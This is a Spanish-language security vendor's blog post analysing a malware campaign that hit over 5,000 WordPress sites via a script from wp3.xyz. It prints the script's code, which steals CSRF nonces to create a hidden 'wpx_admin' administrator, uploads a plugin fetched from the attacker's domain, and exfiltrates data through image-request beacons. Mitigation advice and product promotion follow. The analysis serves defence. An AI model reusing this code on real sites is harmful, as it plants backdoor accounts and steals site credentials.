Skip to main content
Blog
Blog Attacks

Más de 5,000 sitios de WordPress atrapados en ataque de malware WP3[.]XYZ

Hemos descubierto una campaña de malware generalizada dirigida a sitios web de WordPress, que afecta a más de 5,000 sitios a nivel mundial. El dominio malicioso: "https://wp3.xyz/plugin[.]php".

Jan 13, 2025 4 min read
new-malware-attack-image-cover

Resumen: cuenta de administrador oculta de wp3.xyz y subida de plugin mediante repetición de CSRF

  • No es una CVE de plugin: La mayoría de las guías de hardening de WordPress señalan las vulnerabilidades de plugins como el riesgo. wp3[.]xyz demuestra que el riesgo real es lo que hace un script malicioso después de un compromiso, y no necesitó una CVE nueva para plantar la puerta trasera wpx_admin en más de 5,000 sitios.
  • La cadena del ataque: El script obtenía un token CSRF _wpnonce_create-user, enviaba una solicitud POST para crear una cuenta con rol de administrador, luego descargaba plugin.php y lo instalaba mediante /wp-admin/update.php?action=upload-plugin, exfiltrando registros a través de balizas Image() hacia tdw1.php. cside detectó y detuvo el ataque en el sitio de un usuario del plan gratuito antes de que el plugin se activara.
  • Ve más allá de 2FA: Si tu estrategia de hardening de WordPress se limita a actualizar plugins y activar 2FA, estás protegiéndote contra las tácticas de ayer. Añade esta semana monitorización de scripts en tiempo de ejecución que detecte llamadas fetch a /wp-admin/user-new.php desde orígenes de terceros.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

Hemos descubierto una campaña de malware generalizada dirigida a sitios web de WordPress, que afecta a más de 5,000 sitios a nivel mundial.

El dominio malicioso: https://wp3[.]xyz/td.js.

Uno de nuestros usuarios fue afectado. cside detectó y detuvo el ataque.

Directorio de dominios de cside mostrando wp3.xyz marcado como malicioso
El rastreador de cside detectó el dominio malicioso

Aún no está claro cómo los scripts ingresaron a los sitios. Hasta ahora, no hemos identificado un denominador común, y nuestra investigación está en curso.

Sí sabemos que el script crea cuentas de administrador no autorizadas con un nombre de usuario y contraseña que se pueden encontrar en el código.

  • Nombre de usuario: wpx_admin
  • Contraseña: [REDACTADA]

Después de crear la cuenta, el script descarga un plugin malicioso de WordPress y lo activa en el sitio web ahora infectado, enviando datos sensibles a un servidor remoto.

Revisa tu sitio ahora para eliminar cualquier cuenta de administrador no autorizada y eliminar cualquier plugin o tema no utilizado.

Encuentra sitios web infectados a través de:

El script en detalle

Primero, el script obtiene el token CSRF necesario para la solicitud. Luego envía una solicitud POST para crear un usuario con credenciales codificadas. Registra el estado de la operación.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Después de que el script descarga el plugin obtenido de https://wp3[.]xyz/plugin.php, el script lo activa en el sitio infectado. El script se comunica con https://wp3[.]xyz/tdw1.php, enviando datos sensibles como credenciales de administrador y registros de operaciones a través de solicitudes de imagen ofuscadas.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Una vez que el atacante tiene acceso de administrador, el script carga un plugin malicioso. Obtiene el plugin de un servidor remoto y lo carga en el sitio de WordPress.

La función installPlugin funciona de la siguiente manera:

  1. Obtiene la página de carga de plugins para recuperar el token CSRF.
  2. Descarga el archivo del plugin malicioso.
  3. Envía el archivo del plugin para su instalación.

Luego utiliza las siguientes técnicas:

  • Cargando el plugin a través de: /wp-admin/update[.]php?action=upload-plugin.
  • Obteniendo el plugin de una fuente externa: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

El script finalmente verifica si el plugin malicioso se instaló correctamente buscando referencias a https://wp3[.]xyz en el contenido del sitio web.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Protégete contra este ataque

  1. Bloquea el dominio https://wp3[.]xyz en firewalls o herramientas de seguridad.
  2. Audita las cuentas de administrador de WordPress en busca de usuarios no autorizados.
  3. Elimina plugins sospechosos y valida los existentes.
  4. Fortalece las protecciones CSRF e implementa autenticación multifactor (MFA).
  5. Considera usar cside

El usuario infectado ejecutaba la versión gratuita de cside. Puedes instalar cside para proteger tu sitio en minutos contra este y ataques similares.

cside obtiene y analiza todos los scripts en nuestro lado para análisis en tiempo real, alertando y bloqueando los potencialmente maliciosos. Este script obtenido de https://wp3[.]xyz/tdw.js fue detectado y bloqueado exitosamente en el sitio web de nuestro usuario.

Por favor contáctanos si estás preocupado o deseas incorporarte a los niveles superiores.

Revisa tu sitio para todos los administradores, asegúrate de que sus contraseñas y 2FA estén configurados correctamente. Puedes usar nuestro rastreador público para verificar cualquier script potencialmente malicioso en tu sitio web.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Los sitios WordPress comprometidos cargaban un script desde wp3.xyz que creaba cuentas de administrador ocultas y exfiltraba credenciales. Detectamos más de 5,000 sitios afectados en el momento de nuestro informe, y muchos más seguían activos días después.

Busca referencias a wp3.xyz en el código del sitio, elimina usuarios admin desconocidos y rota todas las credenciales de WordPress. Un escáner del lado del cliente como cside también detecta intentos de inyección que los escaneos estáticos de plugins pasan por alto.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Te enseñaremos:

Qué scripts de terceros se están ejecutando ahora mismo en tu sitio
En qué punto estás con los requisitos 6.4.3 y 11.6.1 de PCI DSS
Qué parte de tu tráfico son bots y agentes de IA

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco